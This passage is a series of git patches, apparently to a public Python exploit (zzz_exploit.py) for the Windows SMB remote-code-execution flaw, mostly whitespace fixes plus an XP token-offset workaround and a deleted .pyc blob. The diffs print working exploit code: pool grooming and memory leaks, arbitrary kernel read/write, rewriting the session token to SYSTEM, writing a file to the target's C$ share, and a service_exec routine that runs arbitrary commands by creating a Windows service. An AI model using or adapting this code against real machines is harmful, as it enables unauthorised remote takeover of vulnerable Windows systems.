 	for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
 		fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
 		addr += len(sid)
 	fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
-	
+
 	return fakeUserAndGroupCount, fakeUserAndGroups
 
 
 def exploit(target, pipe_name):
 	conn = MYSMB(target)
-	
+
 	# set NODELAY to make exploit much faster
 	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 
@@ -821,7 +823,7 @@ def exploit(target, pipe_name):
 	else:
 		print('This exploit does not support this target')
 		sys.exit()
-	
+
 	if pipe_name is None:
 		pipe_name = find_named_pipe(conn)
 		if pipe_name is None:
@@ -835,9 +837,9 @@ def exploit(target, pipe_name):
 	# Now, read_data() and write_data() can be used for arbitrary read and write.
 	# ================================
 	# Modify this SMB session to be SYSTEM
-	# ================================	
+	# ================================
 	fmt = info['PTR_FMT']
-	
+
 	print('make this SMB session to be SYSTEM')
 	# IsNullSession = 0, IsAdmin = 1
 	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
@@ -850,7 +852,7 @@ def exploit(target, pipe_name):
 		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
 		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
 		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
-		
+
 		# find the token and modify it
 		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
 			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
@@ -861,12 +863,20 @@ def exploit(target, pipe_name):
 		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
 		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
 		print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
-		
+
 		# copy Token data for restoration
 		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
-		
+
 		userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
 		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
+
+		# hack to fix XP SP0 and SP1
+		if info['os'] == 'WINXP' and info['arch'] == 'x86':
+			if userAndGroupCount > 4:
+				print("Bad TOKEN offsets detected, performing workaround")
+				userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'])[0]
+				userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
+
 		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
 		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
 
@@ -887,7 +897,7 @@ def exploit(target, pipe_name):
 
 	# ================================
 	# do whatever we want as SYSTEM over this SMB connection
-	# ================================	
+	# ================================
 	try:
 		smb_pwn(conn, info['arch'])
 	except:
@@ -910,13 +920,13 @@ def exploit(target, pipe_name):
 
 def smb_pwn(conn, arch):
 	smbConn = conn.get_smbconnection()
-	
+
 	print('creating file c:\\pwned.txt on the target')
 	tid2 = smbConn.connectTree('C$')
 	fid2 = smbConn.createFile(tid2, '/pwned.txt')
 	smbConn.closeFile(tid2, fid2)
 	smbConn.disconnectTree(tid2)
-	
+
 	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
 	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 	# Note: there are many methods to get shell over SMB admin session
@@ -933,7 +943,7 @@ def service_exec(conn, cmd):
 	import random
 	import string
 	from impacket.dcerpc.v5 import transport, srvs, scmr
-	
+
 	service_name = ''.join([random.choice(string.letters) for i in range(4)])
 
 	# Setup up a DCE SMBTransport with the connection already in place
@@ -945,7 +955,7 @@ def service_exec(conn, cmd):
 		print("Opening SVCManager on %s....." % conn.get_remote_host())
 		resp = scmr.hROpenSCManagerW(rpcsvc)
 		svcHandle = resp['lpScHandle']
-		
+
 		# First we try to open the service in case it exists. If it does, we remove it.
 		try:
 			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
@@ -956,11 +966,11 @@ def service_exec(conn, cmd):
 			# It exists, remove it
 			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
 			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
-		
+
 		print('Creating service %s.....' % service_name)
 		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
 		serviceHandle = resp['lpServiceHandle']
-		
+
 		if serviceHandle:
 			# Start service
 			try:
@@ -972,7 +982,7 @@ def service_exec(conn, cmd):
 				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
 			except Exception as e:
 				print(str(e))
-			
+
 			print('Removing service %s.....' % service_name)
 			scmr.hRDeleteService(rpcsvc, serviceHandle)
 			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)

From 03e0fcc87bfa18c80c5f73acdc817091b7c1f26b Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 18:34:24 -0700
Subject: [PATCH 2/9] remove .pyc file

---
 mysmb.pyc | Bin 16693 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 mysmb.pyc

diff --git a/mysmb.pyc b/mysmb.pyc
deleted file mode 100644
index c72fbe7fd06d08f3ed4276e128df596f68984605..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 16693
zcmeHO+iz9bd0+dSW8>p1g8}1#0mBS4XP68aPbV}}n2a%IAb|r}#}k4(>CWNoZTpyW
z@tnO60|`W_jMPMmS}6~CXr*4#i;}cyqfUBLTdAp<hxVbW)PEvU`%tNU>P!3kec!&>
z7%+$FB&veh%WHjW?REL?-?z5&|2Z;f{;9oKGts{Se!qn$7;ud7@ZT{FW15axbWAg6
z7IVfSG-n!l(=3?9g0}Of(Px_dX0cz}1=HAJ7I(-Ds1KOM0ps<V`^GF5jX!97$E*$+
zuiyAZv!2I0I|MXrmK@^^aNN2v*B3{Ohv68j9fL{7sPTp}9m7e-nDKWSZ^Yckj-N69
zu6U(UvyR=58*j{1cN=e~Y-Nw}o{`F4<LSr=*}!-*-9F<LOr^9N7^(jc{*`j5g?S>V
zc_SRr-?etD<=4V`yHx_xOju;mskVZ(b|+L&0id;N?Pj^g5qvnu9G+kb#a%)4B+&XM
zt9dhtW#2r@dY_p*TPgKpP+2CP?{wOoxwhxmcLF9Lx8nzX=a%o)2M8KOp`#krASj__
z(oF<@V@W}T2QQ*HvC?k(C%))++CjHDeS7-Eay>k8xpMN<tJ5c^Pc-k~q{r9pghLp*
z?1$xrN>~lM0apo#4dYl@_6Vw#%V!sO@Ty>=;sY~YwR6Y4TJ2Pue&~0C8sFeQBIzt1
z*@6$g0O1EoRd1N|^FZM-(g_q=0{i5Qt(10Qd^nC`p&eEm$)t1bZYvCk;?oz-OoyZK
zfOFNbs(sw&=?l`c@vU$SJqhT_(o*1u;hrq)Ts>H8RBL|IZ-s*GWL7~mThVKz2b<Y9
zgkP-SD&C)hh)qG?=?e-NCSc<jVXuuKo^8`8o?ydF+{XsMGaFta<AtP{>$X4?*Oha)
zZnN!m8*Gv?LD=cm!fwY;c|~eZz%Z8c$mY1A{#@S4{)Ep1xRG6E9?37nq43Mgs6_m-
z6|+E)y>YWtj97+}yAl63gL+G>TjJRgvzFVn+^!|gM9$A&Joi&bL^8D9iy~zP($!Kz
zEG5M9;7>t3%D{7Y0?xRZczGv$0br1?ys%w)C)S02A44UgUq;52Y#vlIlrq#Y6!Bn0
z!hLu_n9@dS?qtvh&}+e&BS)09BHovTu$w5V=(%)edNXOsobh}!I_m71X{9t5Oqa+|
zU)NDU%0-tHAOf5nA>x|_q{530=}W2bMzf^C8v#<`O<tPh{zNZu%O5V?CouOboS*#j
zAl>s$jSKI<!{2jwg8xPVH-W|~2g8*&r!%brTEiw(6Nm0~$4tQ3Puwfe&fn{kF2?}e
z`3-Y7Z#tH9wV?Wo<}St*&E9=1?)9^Ix8F=;*BK;a_g&11nY5ov$$S&1utp2413*p|
z_;*?0gY7PWt>5jVQIa)s1{3yiLIAmkA)E{{P$HSjbrfoO6JrvnULis2Q!Hrp>*NRQ
z2sPp_Ak2iU(sI-fqoTH&RBiaJ5-}~>S{#bGrYG8ZEwQKau7`I+%0#Puwd#d*7TRjc
z$ma4Ur<abks&@(V0<P-e2{gJGOLwgsx-zB9W#7O&!2!;e8+Ate_vQMXVdtQ;%Ncbh
za$4JylRZ~GZ?4^JR$E@({D(0$VuDY?M;$bPnh@?@jx>V$rE7>2f}mtA_Vm$@>%3ub
zmIz9QYrRAyW`^yMVb$y~kdxeyC-KN3>d970#9P_Y5wg#62c+la>g}`Lr6s>psejQI
z-IG8{0~|!Mz*VS*AsChbN`KjZA1d)G+&nlD2LWhz>dW<(n}xe68U!o#pxz3?YOCgl
zFX0WmU-5$gu4KgzyKA#8?{n__?a*&|zL)W$#0hG&IeD@%*(z7vYL1jERqqH}v8X9Y
zdgF&9nBXCYb648!o33o}vltZ+KPESx+v_~z;K?U`a6*3C1<I8%H;blIV!a9`$dP2L
z&;+Q1_+SW75rZmn5G9<r$07;kcFVWNF_Wd6Af&O!SUZVAC5!ZJX6f78*=ZzPut0ZB
zPwCRV_d_}N4fF++LX#VYK!|8wz7D$72;)C);w+xvzaRo?4Sg^@PUe{V2vqW9`1|mR
zaqzrUpot1n>5l^`L|6R+L1?u@Du|UZ$%_&}VG_7U#pr(oM*!7l7U5vWa1I_a_YufR
zsHN~|FoG%!hK+vF_+w@jt~drGvdS~Ef`88K!Px>(2aL<G-R3Mu!-|Xh&M9EdHO!h|
zn8nu+R!NMtIB8(=33)b}h|}$nHTGv9dj)cUZUF~B7au^@)*WO^|Df^qnfpU#@z6F#
zPRhtB8HsHGHSuOR&wg_sk?i3ZzNz<s^d8y9D$mI(&u?SoK^ghNLsmQ_D;|AF@09cc
zEm;C@g(V*Cu(>~M7GK)l;3G1)^pJI*mvvu$Nbd{Md(3!8g?z6tmZP?lcvT#V0$LOp
zaVY)-6_{)&09OQp710E%un2(U%v%H%s1R2BDIi{f`kX)rg_!5n9j1`K>6rEcr395$
z&g7iVO%5uc6B2VOhtX6f;=8zzBCP;*T0uA}D#?WdGh$Xp&FUCmhw-4L8K5_@o_ClJ
zsg!7F)eAtL04Mt~40wI2jKaKyV&^QIu=Zj(!g|whcf%5WgOCokE84+zyMgbv!bbDf
zj2INx^OvgK2JCI!gCc}M3B-mY3||9;NOM^s<`8y!?WRo6YCVcpUE}~lw~0Y?SlzXo
zp}W+mE(bGW)wGwhbN|{}s(W?@EsYTo{Ldl1p+*j8qIHR)$9k(Cx^9WPuwqZRLdS2m
zLmyf&2*tjoC$b+$cTc+3p2M3r@dS)`j8nwVxU<JO1UG|q{v_@M(Ii|%6-!d#T%a*&
zL}#lkrTqm|GnSAC10s9cUF-{x61Oo=loUw}99NYM5l7g~>Q-CfAVFg9TL4pV3t!4?
zfw+jD$K&KpjNXJ3@J(+Ul3)lMin;I0nO*U$eCT+|t}3XASc2(d=MO>-iH3-RcH*)D
zZ7R^OQ`!@Oz7)R+v6s;h=orZqi?X`iyHVXFi5fWZ(DpQoGboffNT}Y9J%Be`{%sMs
zUq(G3z&QJbRTGZj{BrQ~sOV<FpEn0g=ackzpyddJO4DAcs7eA>=mh0*7~u9xFoKc&
z;O#u7DvK`hZ`Xsc-dd*EYF1MGb~xVMYNPBgx5Iih^d+#cXYrN@yCp%y^@V(IdXtQm
z6>AFoLZ|C1<EwsnTEsER<vLI|$Qefa{uKb#jdI4EX%%rUp5X5s8j3%l>K<?-+(U>M
zilhSM0dr6W6XYdwR_-1u;#cC$is-PisI{d!qAsMxBr<zfGKScbn{G<t1xuE-6fM!y
zz?q~$nD4b$38gCJdAyqMcGhYcCCNM%7w{mgYrdsol{qj<qAJN51Ng+znZ1UWzK$nC
z*|2lmsgW)CB)0W=G!SI1#+XvR0=|eKhRHd#XMCv~k}P0n4L<_E*6q~8J7OzZ{;~!-
zdNhnPb`FJ{9G!5DC5*AB08~*U+3X^VUnC6Alb`Wjyz~t`k&?ChQLj<R;)i<(rcvOK
zcM%0T2q5LGDpfQHI4FpZa1o9|zggcQHx{vVAb;7PV}U0+5*3w1G7|f#t>ZY@wvI5(
z8uIM#w>xTxVTG%(zQlN=xl#>Qq}mFlN~1&r?=DpvjT?v<>}!DZhKtYR&2Qq7RFH87
zof<J5KZ1x?0U#o9%ts?)UGHrkg@sYfr6DKdRiyPj)geOGUqYvat~T}yEUGMSu;~4G
z9$x=-Jn8Xb8uR!61)b9q#yp=A+&=V#RN_x@Oay=CH#Z!U?8YaNS+Yk~X0uGZF5a%I
zCL^CXIl{(xE#hFxaoF+wSdY0N;BEUBpsLPDLvbh9s^N;zG4g6Ux9Z4DP-jsKYKYqt
zw~CI7v?$U?zW*)G$!!|vu#=cZnjs-AcciL4=1F$xmZio4z3+s&S$q@tzJGw3B7IW-
zEhm@i6Z*umnUknIi~y=dsA>=pz$!n666CQ~=+-(ujIfen7NC^T<kA7VvI_v)I#<r4
zs3G$w$>No2$Dgg$pj|KH5>V8whbyXfQ0E1tX4<s78r<v&LAHVQzJn(s&#~>3M~?Dg
zk_W-a_qY?9TJxk%{?Fr`)S<OaHaU+JPn!2cswW$ceIN7mwyRHa2Rx4&5=y#6WW8;T
z{KT!Lf!zm$Wbj29BL@j5|0*iV$?M`VQN+aX!w)#kj=XdiB+=>^cu54pd_Wq-N032a
zc5O4)4?`+FlkmV#Q#GN*3vBek)UIln4C}+Ckkgk`yfg+mOMJDR$Ho@G^-RIq11Q9A
z7guAxw$hes+!DPiwadp?BYlP8#b=e&vicy5J^*v)u3UEK=Pq0kzZd|{l+B_>;{?nE
zxnzMO&DZkqg48>H?H1~(4`-*iFn0{Bi((VcEy`~9Mn~$J0DhM1V~>B%#%>e_$@G!j
z9%rYslj(KTN1Ph%0<~XaAN~amB`Qk^AYkrsW5T9}5y+B&z@(1U_@%*VP$+KkmPWiG
zjG9Eg<TTPFao+$K1ARib7*@oHL53m`0Lx7vk2ry=9{C-Q8^O3yzB@t47<M4s#8MVW
z9I<t5Gvbi}Ws99SR9Q3f#Ps<(t_^rjo?0*5<pxDK<Qm*kpX#vwiD?WWF0D^53}KKk
z2#JeZkL7TsK84QoDn>4Q^%h3BPVzX)VvOaLopzxXv(q(uabez_EuZ^b$m>ynW${@i
z>eD2<TUlW!z!Bmg3S~Rh_r;-(bbo44?LCZ3ohjigW?`lPwx440HVf)6Iota@E?4Z0
z)tE%_+OEtZ7RbfUBpUe<dZHW)d5#>%pWRN$8O<GXYSdLkE`QH)?90&gpe|fBMz8zD
zV&iH>R7(rHRbE6BoPu1PT+s-fk=E9CF3LN&SBqV8;Zx-jq`bkV)F(Q&D`Szf!&v-B
zx9S+ycv*+Hgn8c0k@@c_hoO&p34O@xArpuz#=n($iZTxdVZ;s{F=#qDN889JO>+A~
z{PyTdUM3ikkO4D+rBRN>w-Mn^c2MMyLmV<7GKFK8xr^P%MbiXo6O|IxP1)W;DI|Ue
zX*aU=)#&$S{3dswXMXNv%I(sgQ6`o9L(%SUUQi`(O5=D(gZN9V;W2vW@gi%YBxwWO
zE?A0rFX16NKw@?*?UC@MTd6O%@M%xSpKn!fG<;9FpG<uI((K!n8J9v(nV)+HGH~6k
zTztDcyYP;kSA~gp(XH7`P6W}5Zn8e@-wAnTE%P%mv4YqK!sz4veXZSs^&%GV#fjx_
z5gHXkDmlRjM8*2=Z4w3h<+xkUaZ*M~bw(!a`0w>3ANFgQ_h0b@Qz)o`$8eE3f)oy)
zLF60<og=v-Zm|vk{$SpbH|S&!`GgH|Hk2+|9y}a-vNX=3mL%iRmg_=Nh*~1`3`G2U
zJHb~m*^fD4<OYnOPDde;TU@LO-^X%`5Lvew-Ec!$YuCq_Q&HUyk%CCW(T%!3BV9<e
zfbS)b4knMfmS`6s3>*)s)2Y71cke;!aCp%REE7j#M1bmO;3|s73OBq`6Jv#U;}(S;
zUPaVL!G~KBwJ7S)HBl=vWKj!-4A&xY-yqCde6$#bD}BP`OfhU2GXfUP0fPp1M+-Qi
z4jMM=_ySTj524U-_+DU$&`OCYR}&_msmS*!B5Am@O>BjDHsVA8N;{<hk_><fFBk=)
z`hXM^eQ=RqBch=f3JZFnpdY_5On_+yzwu=ir5Q9uvQ#~!wvEaowrvY`wp^K=Tex_o
zECLI-q_y;GzKnUZM>!qkM9!ExvXJHOnyf8fC<qIS*h*><x31}V<O(}{@H;+9xd}W)
z2E$jpyamnxO@^gb(jMmi4sw5Zp4{IjQX(rYo?R69{u{uOTN0%}#SlG3{4U}`A~l(@
z;oJ@LIquX*%~%NMILj;wRT3=0U&4yys5mc0h6k5}VTGZ{Y4{)cNN~ndbs}1mB5!$d
zrp^Qx6SCNEv-TYpQ!K=t_%3UI$l{M!e2>K+vq=05!C-I58^lE7?+EJpplPBw@{}Vy
zTq|M#2PN9*FVNV+e=Ra4fpb!YFgi(`P-%-+AWS?*9V0=<1LLS6fY|6QXov^if}Wt(
zh(^E}fGt6bG7fUUibpaIk^l-)p&Ky}Wqbg8-z?)QhLnE&>Wu8G0X{0mrotC_kP@e4
zgpW4%O8MNZy)NHSs@$d`N8BlGKgAkpD_TWFF8lGRP#n$)+&$=(4LutP{S>0YBWw^A
zWQn7Xel=TEBm?ZmC<6f*fiKA)`jn$N2nKl}<_8gs698;SFpzE8!m3&kgCAgy)Pqo#
zCzkA=vY2A=0gH`D=#ATXvXtAA^^Q)zm&bmX`CUdQ-OT@w<~MOAVw3q(XoT%=ll;HK
z;#(-{c#QpB6p2-}zef-qb`{~@N9{3|l$@}IC7lVG(%5K9XC7lqpGIjvg)H*~Sy`Tm
z?A|1K8G*Gr!;iFk6m1IkM{D=~5?lL;+dU?yQcW=P8j)5Iq@7Yd_cNOZY{++!TZu`=
z=<(b0Z5X{rtMjLj13Hcy<seb(kwly#aVahzol*O1EcQ_uH4-4h%BfX5$8$$kjs6Wo
zjl_+spp$97tW}e&;pWIugUT%<M-3{)rP~}oBB+exN4Uh%DhMj^75U&pg38fMP>Jst
zqo7i1Nl+QJqM$NrML}iMVo(VuJZiz7r9ol@qss`lP+idohH#UvV$?#$l<s8IV(<xP
z5_u%`_(u{K6D~iXa7Krs;IblF@5sfZwMt{jj2TNTm82WbcU$rYSaus`YaCO?@>pJQ
zV>dM9%{t&4{=j2vvqdJ*5RlIBQoQ!J2^P0&iZ$_7zsuU=1COVWT_!gp*~K+mHhO!T
zyn7to+lk)Pf=TQ~K96}_T-0*_Y{x}qtPsa;aE8|L|Iy*w4>7TtF|MaB{@=0o6sYXY
zt7Z5o3LwVe7l=HyW^eq=nr$7yWuzx#%$N@RNgA^$tiM?xHk&hO#)p_QCNCJD@uC0n
zp~YzbfXO~8b4C(u;O5kzt?}fMLCa$p^Y8pE=WL+@)Zh~IHvW<XLa&Lz9KS{F)I|sA
zWe1W31>RLmLgDj*;f#4Nljmfg{zWhU`iWN|Q2L1e2<tP4PGNowzXoV@87f~j*<Zuz
zdJ~F@URmiCBtvdd6KO6_{s1D)2}mluS#ROWOLG9sr1Ki{D()*O#rT8awca!XT?5Xf
zsx`_CGQAKGlgu?3ryr62Fp^>Y&V;i!S1x@Fz|3DJeuhmdQG0>KMHZiCafwBR#Wfa^
zvwWAe&$IAY_$=_~cV?A&``L?gypFqWSJ?x?82L=%{KZT2Zso$Pop<g0>^Vt-WMFcO
zC-)!%ymEEEEMGm?4rd8ibXk0b#n)MUjm1|{AbEroY_$>inr{0(JAT08&saz(@>i_U
zVY7e3;)g8$o&~wy{)ojtqDUzqwI}!@!M={ydE$V0?03dSih23zFZLDt#|rxjd*mtR
zj~1eyv0bCP_7wBSo;_ALIC3!g{p#eag@eNf^CjNUi1ScyYT`z@3slul)MM~*eA0+-
z6_4L~UB7>%#OPlO>-Ehi(AE!X2UvTV#W57}SJiMRqFeH;D^cVaGL{u(`OmB!<tt=c
z+>yv%S-nE&aTfd<M?cY{lnN?($D|zjwEpe$o0R;3-v3_SxPym>^TphFesUB)W5dtx
L0!J5ziv#})ezMr2


From 434b7a3eb38785cc70c858ff87dd558d41661aa1 Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 18:38:22 -0700
Subject: [PATCH 3/9] restore line starts

---
 zzz_exploit.py | 111 ++++++++++++++++++++++++-------------------------
 1 file changed, 55 insertions(+), 56 deletions(-)

diff --git a/zzz_exploit.py b/zzz_exploit.py
index 46f8ead..e9f5996 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -87,7 +87,7 @@ struct SrvSecContext {
 }
 
 SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
-It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
+It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
 From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
 PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
 STATUS_SUCCESS when Token is NULL.
@@ -287,7 +287,7 @@ def wait_for_request_processed(conn):
 
 def find_named_pipe(conn):
 	pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
-
+	
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	found_pipe = None
 	for pipe in pipes:
@@ -297,7 +297,7 @@ def find_named_pipe(conn):
 			found_pipe = pipe
 		except smb.SessionError as e:
 			pass
-
+	
 	conn.disconnect_tree(tid)
 	return found_pipe
 
@@ -308,7 +308,7 @@ def reset_extra_mid(conn):
 	global extra_last_mid, special_mid
 	special_mid = (conn.next_mid() & 0xff00) - 0x100
 	extra_last_mid = special_mid
-
+	
 def next_extra_mid():
 	global extra_last_mid
 	extra_last_mid += 1
@@ -324,7 +324,7 @@ def leak_frag_size(conn, tid, fid):
 	# this method can be used on Windows Vista/2008 and later
 	# leak "Frag" pool size and determine target architecture
 	info = {}
-
+	
 	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
 	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
 	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
@@ -332,7 +332,7 @@ def leak_frag_size(conn, tid, fid):
 	mid = conn.next_mid()
 	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
 	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
-
+	
 	conn.send_raw(req1[:-8])
 	conn.send_raw(req1[-8:]+req2)
 	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
@@ -349,7 +349,7 @@ def leak_frag_size(conn, tid, fid):
 	else:
 		print('Not found Frag pool tag in leak data')
 		sys.exit()
-
+	
 	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
 	return info
 
@@ -364,7 +364,7 @@ def read_data(conn, info, read_addr, read_size):
 	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
 	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
-
+	
 	# create one more transaction before leaking data
 	# - next transaction can be used for arbitrary read/write after the current trans2 is done
 	# - next transaction address is from TransactionListEntry.Flink value
@@ -373,10 +373,10 @@ def read_data(conn, info, read_addr, read_size):
 	# finish the trans2 to leak
 	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
 	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
-
+	
 	# set new trans2 address
 	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
-
+	
 	# set trans1.InData to &trans2
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
 	wait_for_request_processed(conn)
@@ -384,14 +384,14 @@ def read_data(conn, info, read_addr, read_size):
 	# modify trans2 mid
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
 	wait_for_request_processed(conn)
-
+	
 	return read_data[8:]  # no need to return parameter
 
 def write_data(conn, info, write_addr, write_data):
 	# trans2.InData
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
 	wait_for_request_processed(conn)
-
+	
 	# write data
 	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
 	wait_for_request_processed(conn)
@@ -417,7 +417,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 
 	conn.send_raw(req1[:-8])
 	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
-
+	
 	# expected transactions alignment ("Frag" pool is not shown)
 	#
 	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
@@ -438,7 +438,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
 		print('Not found Frag pool tag in leak data')
 		return None
-
+	
 	# ================================
 	# verify leak data
 	# ================================
@@ -480,16 +480,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 
 def exploit_matched_pairs(conn, pipe_name, info):
 	# for Windows 7/2008 R2 and later
-
+	
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	conn.set_default_tid(tid)
 	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
 	fid = conn.nt_create_andx(tid, pipe_name)
-
+	
 	info.update(leak_frag_size(conn, tid, fid))
 	# add os and arch specific exploit info
 	info.update(OS_ARCH_INFO[info['os']][info['arch']])
-
+	
 	# groom: srv buffer header
 	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
 	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
@@ -502,7 +502,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
 	# bride paramters and data is alignment by 4 because it is TRANS
 	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
-
+	
 	# ================================
 	# try align pagedpool and leak info until satisfy
 	# ================================
@@ -516,14 +516,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
 		print('leak failed... try again')
 		conn.close(tid, fid)
 		conn.disconnect_tree(tid)
-
+		
 		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 		conn.set_default_tid(tid)
 		fid = conn.nt_create_andx(tid, pipe_name)
 
 	if leakInfo is None:
 		return False
-
+	
 	info['fid'] = fid
 	info.update(leakInfo)
 
@@ -555,7 +555,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
 	# but this method make the transation never get freed
 	# I will avoid memory leak
-
+	
 	# ================================
 	# modify trans1 struct to be used for arbitrary read/write
 	# ================================
@@ -578,7 +578,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 
 def exploit_fish_barrel(conn, pipe_name, info):
 	# for Windows Vista/2008 and earlier
-
+	
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	conn.set_default_tid(tid)
 	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
@@ -588,7 +588,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	if info['os'] == 'WIN7' and 'arch' not in info:
 		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
 		info.update(leak_frag_size(conn, tid, fid))
-
+	
 	if 'arch' in info:
 		# add os and arch specific exploit info
 		info.update(OS_ARCH_INFO[info['os']][info['arch']])
@@ -598,7 +598,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 		# this case is only for Windows 2003
 		# try offset of 64 bit then 32 bit because no target architecture
 		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
-
+	
 	# ================================
 	# groom packets
 	# ================================
@@ -608,8 +608,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	trans_param = pack('<HH', info['fid'], 0)
 	for i in range(12):
 		mid = info['fid'] if i == 8 else next_extra_mid()
-		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
-
+		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
+	
 	# expected transactions alignment
 	#
